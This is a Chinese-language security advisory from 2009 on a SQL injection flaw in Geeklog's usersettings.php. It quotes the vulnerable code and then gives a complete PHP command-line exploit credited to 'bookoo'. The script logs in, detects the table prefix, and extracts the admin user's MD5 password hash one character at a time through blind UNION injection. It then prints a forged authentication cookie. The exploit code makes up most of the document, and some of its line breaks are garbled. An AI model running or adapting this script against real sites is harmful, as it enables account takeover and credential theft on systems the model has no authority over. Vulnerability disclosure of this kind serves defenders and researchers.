Geeklog usersettings.php模块SQL注入漏洞


添加时间:
2009-05-08

系统编号:
WAVDB-01384
BUGTRAQ: 34553

影响版本:
Geeklog

程序介绍:

Geeklog是一个免费的、开放源码的Web应用程序。它可以使用户创建一个虚拟的社区,可以管理用户,张贴文章等。Geeklog采用PHP实现,以MySQL为后台数据库。

漏洞分析:

Geeklog的usersettings.php文件中的1467 - 1480行中存在SQL注入漏洞:

 
  1.     
  2. ...   
  3. if (isset ($_USER['uid']) && ($_USER['uid'] > 1)) {   
  4. switch ($mode) {   
  5. case 'saveuser':   
  6. savepreferences ($_POST);   
  7. $display .= saveuser($_POST);   
  8. PLG_profileExtrasSave ();   
  9. break;   
  10.     
  11. case 'savepreferences':   
  12.     
  13. savepreferences ($_POST);   
  14. $display .= COM_refresh ($_CONF['site_url']   
  15. '/usersettings.php?mode=preferences&msg=6');   
  16. break;   
  17. ...   
所有的$_POST[]变量都直接传送给了savepreferences()函数:
 
  1. ...   
  2. function savepreferences($A) {   
  3. global $_CONF$_TABLES$_USER;   
  4.     
  5. if (isset ($A['noicons']) && ($A['noicons'] == 'on')) {   
  6. $A['noicons'] = 1;   
  7. else {   
  8. $A['noicons'] = 0;   
  9. }   
  10. if (isset ($A['willing']) && ($A['willing'] == 'on')) {   
  11. $A['willing'] = 1;   
  12. else {   
  13. $A['willing'] = 0;   
  14. }   
  15. if (isset ($A['noboxes']) && ($A['noboxes'] == 'on')) {   
  16. $A['noboxes'] = 1;   
  17. else {   
  18. $A['noboxes'] = 0;   
  19. }   
  20. if (isset ($A['emailfromadmin']) && ($A['emailfromadmin'] == 'on')) {   
  21. $A['emailfromadmin'] = 1;   
  22. else {   
  23. $A['emailfromadmin'] = 0;   
  24. }   
  25. if (isset ($A['emailfromuser']) && ($A['emailfromuser'] == 'on')) {   
  26. $A['emailfromuser'] = 1;   
  27. else {   
  28. $A['emailfromuser'] = 0;   
  29. }   
  30. if (isset ($A['showonline']) && ($A['showonline'] == 'on')) {   
  31. $A['showonline'] = 1;   
  32. else {   
  33. $A['showonline'] = 0;   
  34. }   
  35.     
  36. $A['maxstories'] = COM_applyFilter ($A['maxstories'], true);   
  37. if (emptyempty ($A['maxstories'])) {   
  38. $A['maxstories'] = 0;   
  39. else if ($A['maxstories'] > 0) {   
  40. if ($A['maxstories'] < $_CONF['minnews']) {   
  41. $A['maxstories'] = $_CONF['minnews'];   
  42. }   
  43. }   
  44.     
  45. $TIDS  = @array_values($A[$_TABLES['topics']]);   
  46. $AIDS  = @array_values($A['selauthors']);   
  47. $BOXES = @array_values($A["{$_TABLES['blocks']}"]); //<--------- this is $_POST[(prefix)blocks]  $ETIDS = @array_values($A['etids']);   
  48.     
  49. $tids = '';   
  50. if (sizeof ($TIDS) > 0) {   
  51. $tids = addslashes (implode (' '$TIDS));   
  52. }   
  53.     
  54. $aids = '';   
  55. if (sizeof ($AIDS) > 0) {   
  56. $aids = addslashes (implode (' '$AIDS));   
  57. }   
  58.     
  59. $selectedblocks = '';   
  60. if (count ($BOXES) > 0) {   
  61. $boxes = addslashes (implode (','$BOXES)); //<---------- this addslashes() is totally unuseful     
  62. //**** SQL INJECTION HERE *** $boxes is not surrounded by quotes!   
  63. $blockresult = DB_query("SELECT bid,name FROM {$_TABLES['blocks']} WHERE bid NOT IN ($boxes)");     
  64. $numRows = DB_numRows($blockresult);   
  65. for ($x = 1; $x <= $numRows$x++) {   
  66. $row = DB_fetchArray ($blockresult);   
  67. if ($row['name'] <> 'user_block' AND $row['name'] <> 'admin_block' AND $row['name'] <> 'section_block') {  $selectedblocks .= $row['bid'];   
  68. if ($x <> $numRows) {   
  69. $selectedblocks .= ' ';   
  70. }   
  71. }   
  72. }   
  73. }   
  74. ...   


漏洞利用:

 
  1. <?php   
  2.         
  3.     $err[0] = "[!] This script is intended to be launched from the cli!";   
  4.     $err[1] = "[!] You need the curl extesion loaded!";   
  5.         
  6.     if (php_sapi_name() <> "cli") {   
  7.         die($err[0]);   
  8.     }   
  9.     if (!extension_loaded('curl')) {   
  10.         $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :   
  11.         false;   
  12.         if ($win) {   
  13.             !dl("php_curl.dll") ? die($err[1]) :   
  14.             nil;   
  15.         } else {   
  16.             !dl("php_curl.so") ? die($err[1]) :   
  17.             nil;   
  18.         }   
  19.     }   
  20.         
  21.     function syntax() {   
  22.         print (   
  23.         "Syntax: php ".$argv[0]." [host] [path] [user] [pass] [OPTIONS]         \n". \   
  24. "Options:                                                               \n". \   
  25. "--c:[uid:hash    ]  - use your user cookie, instead of uses/pwd pair   \n". \   
  26. "--port:[port]       - specify a port                                   \n". "        \   
  27. default->80                                      \n". "--uid:[n]           - specify \   
  28. an uid other than default (2,usually admin)\n". "--proxy:[host:port] - use proxy      \   
  29. \n". "--skiptest          - skip preliminary tests                             \n". \   
  30. "--test              - run only tests                                     \n". \   
  31. "Examples:   php ".$argv[0]." 192.168.0.1 /geeklog/ bookoo pass          \n". "       \   
  32. php ".$argv[0]." 192.168.0.1 / bookoo pass --proxy:1.1.1.1:8080\n". "            php \   
  33. ".$argv[0]." 192.168.0.1 / bookoo pass --uid:3             \n". "            php \   
  34. ".$argv[0]." 192.168.0.1  /geeklog/ * * -c:3:5f4dcc3b5aa765d61d8327deb882cf99");   
  35.         die();   
  36.     }   
  37.         
  38.     error_reporting(E_ALL ^ E_NOTICE);   
  39.     $host = $argv[1];   
  40.     $path = $argv[2];   
  41.     $_user = $argv[3];   
  42.     $_pwd = $argv[4];   
  43.         
  44.     //default   
  45.     $uid = "2";   
  46.     $where = "uid=$uid"//user id, usually admin, anonymous = 1   
  47.         
  48.         
  49.     $argv[4] ? print("[*] Attacking...\n") :   
  50.     syntax();   
  51.         
  52.     $_use_proxy = false;   
  53.     $port = 80;   
  54.     $_skiptest = false;   
  55.     $_test = false;   
  56.     $_use_ck = false;   
  57.         
  58.         
  59.     for ($i = 3; $i < $argc$i++) {   
  60.             
  61.         if (stristr($argv[$i], "--proxy:")) {   
  62.             $_use_proxy = true;   
  63.             $tmp = explode(":"$argv[$i]);   
  64.             $proxy_host = $tmp[1];   
  65.             $proxy_port = (int)$tmp[2];   
  66.         }   
  67.         if (stristr($argv[$i], "--port:")) {   
  68.             $tmp = explode(":"$argv[$i]);   
  69.             $port = (int)$tmp[1];   
  70.         }   
  71.             
  72.         if (stristr($argv[$i], "--uid")) {   
  73.             $tmp = explode(":"$argv[$i]);   
  74.             $uid = (int)$tmp[1];   
  75.             $where = "uid=$uid";   
  76.         }   
  77.         if (stristr($argv[$i], "--skiptest")) {   
  78.             $_skiptest = true;   
  79.         }   
  80.         if (stristr($argv[$i], "--test")) {   
  81.             $_test = true;   
  82.         }   
  83.         if (stristr($argv[$i], "--c")) {   
  84.             $_use_ck = true;   
  85.             $tmp = explode(":"$argv[$i]);   
  86.             $tmp[1] = (int)$tmp[1];   
  87.             $cookies = "geeklog=".$tmp[1]."; password=".$tmp[2].";";   
  88.                 
  89.         }   
  90.     }   
  91.         
  92.     function _s($url$ck$is_post$request) {   
  93.         global $_use_proxy$proxy_host$proxy_port;   
  94.         $ch = curl_init();   
  95.         curl_setopt($ch, CURLOPT_URL, $url);   
  96.         if ($is_post) {   
  97.             curl_setopt($ch, CURLOPT_POST, 1);   
  98.             curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");   
  99.         }   
  100.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);   
  101.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; \   
  102. it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");  curl_setopt($ch, CURLOPT_TIMEOUT, \   
  103. 0);  curl_setopt($ch, CURLOPT_HEADER, 1);   
  104.         $cookies = array("Cookie: ".$ck);   
  105.         curl_setopt($ch, CURLOPT_HTTPHEADER, $cookies);   
  106.         if ($_use_proxy) {   
  107.             curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);   
  108.         }   
  109.         $_d = curl_exec($ch);   
  110.         if (curl_errno($ch)) {   
  111.             die("[!] ".curl_error($ch)."\n");   
  112.         } else {   
  113.             curl_close($ch);   
  114.         }   
  115.         return $_d;   
  116.     }   
  117.         
  118.     function chk_err($s) {   
  119.         if (stripos ($s, \   
  120. "\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\ \   
  121. x72\x72\x65\x64")) {  return true;   
  122.         } else {   
  123.             return false;   
  124.         }   
  125.     }   
  126.         
  127.     function run_test() {   
  128.         global $host$port$path$cookies$url$prefix;   
  129.         $_sql = ")";   
  130.         $out = _s($url$cookies, 1, \   
  131. "mode=savepreferences&".$prefix."blocks[0]=".urlencode($_sql)."&");  if \   
  132. (chk_err($out)) {  print("[*] Vulnerable!\n");   
  133.         } else {   
  134.             die ("[!] Not vulnerable ...");   
  135.         }   
  136.     }   
  137.         
  138.     function login() {   
  139.         global $host$port$path$_user$_pwd;   
  140.         $url = "http://$host:$port".$path."users.php";   
  141.         $out = _s($url"", 1, "loginname=$_user&passwd=$_pwd&submit=Login");   
  142.         $tmp = explode("\x0d\x0a\x0d\x0a"$out);   
  143.         $tmp = explode("\x53\x65\x74\x2d\x43\x6f\x6f\x6b\x69\x65\x3a\x20"$tmp[0]);   
  144.         $cookies = "";   
  145.         for ($i = 1; $i < count($tmp); $i++) {   
  146.             $tmp_i = explode(";"$tmp[$i]);   
  147.             $cookies .= $tmp_i[0]."; ";   
  148.         }   
  149.         if (stripos ($cookies"\x70\x61\x73\x73\x77\x6f\x72\x64")) {   
  150.             return $cookies;   
  151.         } else {   
  152.             die("[*] Unable to login!");   
  153.         }   
  154.             
  155.     }   
  156.         
  157.     function xtrct_prefix() {   
  158.         global $host$port$path$cookies$url;   
  159.         $out = _s($url$cookies, 0, "");   
  160.         $tmp = explode("\x62\x6c\x6f\x63\x6b\x73\x5b\x5d"$out);   
  161.         if (count($tmp) < 2) {   
  162.             die("[!] Not logged in!");   
  163.         }   
  164.         $tmp = explode("\x22"$tmp[0]);   
  165.         $prefix = $tmp[count($tmp)-1];   
  166.         return $prefix;   
  167.     }   
  168.         
  169.     function is_checked() {   
  170.         global $host$port$path$cookies$url;   
  171.         $out = _s($url$cookies, 0, "");   
  172.         $tmp = explode("\x62\x6c\x6f\x63\x6b\x73\x5b\x5d"$out);   
  173.         $tmp = explode("\x3e"$tmp[1]);   
  174.         $s = $tmp[0];   
  175.         if (stripos ($s"\x22\x63\x68\x65\x63\x6b\x65\x64\x22")) {   
  176.             return 1;   
  177.         } else {   
  178.             return 0;   
  179.         }   
  180.     }   
  181.         
  182.     if (!$_use_ck) {   
  183.         $cookies = login();   
  184.     }   
  185.         
  186.     $url = "http://$host:$port".$path."usersettings.php";   
  187.     $prefix = xtrct_prefix();   
  188.     print "[*] prefix->'".$prefix."'\n";   
  189.         
  190.     if (!$_skiptest) {   
  191.         run_test();   
  192.     }   
  193.     if ($_test) {   
  194.         die;   
  195.     }   
  196.         
  197.     #uncheck all boxes   
  198.     $rst_sql = "0) AND 0 UNION SELECT 1,0x61646d696e5f626c6f636b FROM \   
  199. ".$prefix."users WHERE ".$where." LIMIT 1/*";  $out = _s($url$cookies, 1, \   
  200. "mode=savepreferences&".$prefix."blocks[0]=".urlencode($rst_sql)."&");  #then start \   
  201. extraction  $c = array();   
  202.     $c = array_merge($c, range(0x30, 0x39));   
  203.     $c = array_merge($c, range(0x61, 0x66));   
  204.     $url = "http://$host:$port".$path;   
  205.     $_hash = "";   
  206.     print ("[*] Initiating hash extraction ...\n");   
  207.     for ($j = 1; $j < 0x21; $j++) {   
  208.         for ($i = 0; $i <= 0xff; $i++) {   
  209.             $f = false;   
  210.             if (in_array($i$c)) {   
  211.                 $sql = "0) AND 0 UNION SELECT 1,IF(ASCII(SUBSTR(passwd FROM $j FOR \   
  212. 1))=$i,1,0x61646d696e5f626c6f636b) FROM ".$prefix."users WHERE ".$where." LIMIT 1/*"; \   
  213.                 $url = "http://$host:$port".$path."usersettings.php";   
  214.                 $out = _s($url$cookies, 1, \   
  215. "mode=savepreferences&".$prefix."blocks[0]=".urlencode($sql)."&");  if (is_checked()) \   
  216. {  $f = true;   
  217.                     $_hash .= chr($i);   
  218.                     print "[*] Md5 Hash: ".$_hash.str_repeat("?", 0x20-$j)."\n";   
  219.                     #if found , uncheck again   
  220.                     $out = _s($url$cookies, 1, \   
  221. "mode=savepreferences&".$prefix."blocks[0]=".urlencode($rst_sql)."&");  break;   
  222.                 }   
  223.             }   
  224.         }   
  225.         if ($f == false) {   
  226.             die("\n[!] Unknown error ...");   
  227.         }   
  228.     }   
  229.     print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n";   
  230. ?>   


解决方案:
厂商补丁:

Geeklog
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://geeklog.sourceforge.net/

信息来源:
<*来源:bookoo
链接:http://marc.info/?l=bugtraq&m=123989621024916&w=2
http://secunia.com/advisories/34765/
*>